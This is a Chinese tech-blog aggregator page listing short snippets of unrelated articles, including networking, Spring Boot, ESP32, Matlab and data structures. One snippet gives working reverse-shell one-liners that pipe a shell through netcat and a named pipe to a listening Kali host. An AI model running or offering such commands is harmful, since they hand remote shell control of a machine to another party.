本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/562167.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux SDIO-WiFi 协议栈

Linux SDIO-WiFi 协议栈 1. 简介2. BCMDHD2.1 WiFi模组 1. 简介 2. BCMDHD BCMDHD&#xff1a;Broadcom Dongle Host DriverSIP&#xff1a;System In Package 2.1 WiFi模组

互连芯片浪潮席卷AI服务器:突破瓶颈,再创辉煌

改变AI服务器&#xff1a;互连芯片技术创新和突破 AI服务器崛起&#xff0c;引领未来创新根据TrendForce数据&#xff0c;AI服务器出货量达130,000台&#xff0c;占服务器总出货量的1%。主要制造商推出生成式AI产品&#xff0c;推动订单激增。ChatGPT等应用的需求持续增长&…

html2Canvas截图包含滚动条解决思路

概况描述 在项目中使用html2Canvas进行截图时发现无法截取滚动条部分,前端是使用vue2的版本,网上找了很多方式都没效果,冷静思考后,给出解决办法。 解决思路 当我们截取的div容器的宽和高与内部的子容器div的宽和高不一样时,内部div就会出现滚动条,因为我们截取的div与…

OSPF的学习笔记

1.OSPF &#xff08;1&#xff09;链路状态路由协议的路由信息并不是像距离矢量路由协议那样(邻居告诉的)&#xff0c;通过收集自身以及邻居发出的LSA(原材料)&#xff0c;并LSA放到指定仓库里面(LSDB)&#xff0c;通过SPF算法&#xff0c;以自己为根计算到达网络每个节点的最优…

【Spring Boot】掌握Spring Boot:深入解析配置文件的使用与管理

&#x1f493; 博客主页&#xff1a;从零开始的-CodeNinja之路 ⏩ 收录文章&#xff1a;【Spring Boot】掌握Spring Boot&#xff1a;深入解析配置文件的使用与管理 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 目录 Spring Boot 配置文件一. 配置文…

第65天:API攻防-接口安全WebPackRESTSOAPWSDLWebService

目录 思维导图 前置知识 案例一&#xff1a;WebService 类-Wsdl&ReadyAPI-SQL 注入 案例二&#xff1a;SOAP 类-Swagger&SoapUI&EXP-信息泄露 案例三&#xff1a;HTTP 类-WebPack&PackerFuzzer-信息泄露 思维导图 前置知识 RPC接口: 登录游戏时候登录账号…

细说会话三剑客: Cookie、Session和Token

0. 必要性论证 在日常的开发中&#xff0c;不管是前端或者后端领域&#xff0c;都绕不开用户状态和会话的管理方面的内容。因此有必要理解清楚三种技术的基本原理和使用场景以及三者之间的区别&#xff0c;当然&#xff0c;在面试过程中&#xff0c;这也是一个很常见的基本面试…

毕业设计——基于ESP32的智能家居系统(语音识别、APP控制)

ESP32嵌入式单片机实战项目 一、功能演示二、项目介绍1、功能演示2、外设介绍 三、资料获取 一、功能演示 多种控制方式 ① 语音控制 ②APP控制 ③本地按键控制 ESP32嵌入式单片机实战项目演示 二、项目介绍 1、功能演示 这一个基于esp32c3的智能家居控制系统&#xff0c;能实…

InFusion:通过从扩散先验学习深度完成来修复3D高斯

InFusion: Inpainting 3D Gaussians via Learning Depth Completion from Diffusion Prior InFusion&#xff1a;通过从扩散先验学习深度完成来修复3D高斯 Zhiheng Liu * 刘志恒 *1144Hao Ouyang * 欧阳浩 *2233Qiuyu Wang 王秋雨33Ka Leong Cheng 郑家亮2233Jie Xiao 街小…

【已解决简单好用】notepad++怎么设置中文

打开Notepad软件。点击软件界面顶部菜单栏中的“Settings”选项。在下拉菜单中选择“Preferences”进行语言设置。在打开的设置窗口中&#xff0c;找到“General”选项。在“General”选项中&#xff0c;找到“Localization”&#xff08;界面语言&#xff09;项。在下拉菜单中…

磁性呼吸传感技术与机器学习结合在COVID-19审断中的应用

介绍 呼吸不仅是人类生存的基础&#xff0c;而且其模式也是评估个体健康状态的关键指标。异常的呼吸模式往往是呼吸系统疾病的一个警示信号&#xff0c;包括但不限于慢性阻塞性肺病&#xff08;COPD&#xff09;、阻塞性睡眠呼吸暂停&#xff08;OSA&#xff09;、肺炎、囊性纤…

python免费调用阿里云通义千问(q-wen-max)大模型API

文章目录 通义千问开通免费API Keypython调用阿里云通义千问API 通义千问 通义千问&#xff0c;是基于阿里巴巴达摩院在自然语言处理领域的研究和积累。采用更先进的算法和更优化的模型结构&#xff0c;能够更准确地理解和生成自然语言、代码、表格等文本。 支持更多定制化需…

自媒体个人品牌IP策划打造孵化运营方案

【干货资料持续更新&#xff0c;以防走丢】 自媒体个人品牌IP策划打造孵化运营方案 部分资料预览 资料部分是网络整理&#xff0c;仅供学习参考。 ppt可编辑&#xff08;完整资料包含以下内容&#xff09;目录个人IP孵化方案概要&#xff1a; 1. 目标定位与市场分析 - 女性…

二叉树链式结构的实现-二叉树的前序 中序 后序 层序遍历

一、二叉树的结构了解 二叉树是&#xff1a; 空树非空&#xff1a;根节点&#xff0c;根节点的左子树、根节点的右子树组成的。 前序&#xff1a; 根 左子树 右子树 --》先根 中序&#xff1a;左子树 根 右子树 --》中根 后序&#xff1a;左子树 右子树 根 --》后根 层序&…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

密钥密码学(一)

原文&#xff1a;annas-archive.org/md5/b5abcf9a07e32fc6f42b907f001224a1 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 前言 序言 从秘密解码环到政府政策声明&#xff0c;隐藏和发现信息的挑战长期以来一直吸引着智慧。密码学是一个引人入胜的主题&#xff0c;…

分享四月书单

Hello , 我是小恒。之后有物理服务器搭建和大容量高并发数据中心的需求&#xff0c;所以四月在写一些避坑方面的文章比较少&#xff0c;主在写一些基础入门和本地开发的操作。可能五一就开始组装调试上线&#xff0c;CSDN也马上获得后端优质创作者&#xff0c;不过遗憾的是&…

Matlab 使用subplot绘制多个子图,一元拟合

实现效果&#xff1a; clc; clear;filename sri.xlsx; % 确认文件路径data readtable(filename); datavalue data{:,2:end}; datavalue datavalue;fig figure(Position, [0, 0, 1500, 900]); indexString ["(a)","(b)","(c)","(d)&qu…

LinkedList和链表

1.ArrayList的缺陷 ArraryList由于底层是一段连续的空间&#xff0c;所以在ArrayList任意位置插入或者删除元素时&#xff0c;就 需要将后续元素往前或者往后搬移&#xff0c;时间复杂度为O(n)&#xff0c;效率比较低&#xff0c;因此ArrayList不适合做任意位置插入和删除比较…

Json三方库介绍

目录 Json是干什么的Json序列化代码Json反序列化代码 Json是干什么的 Json是一种轻量级的数据交换格式&#xff0c;也叫做数据序列化方式。Json完全独立于编程语言的文本格式来存储和表述数据。易于人阅读和编写&#xff0c;同时也易于机器解析和生成&#xff0c;并有效地提升…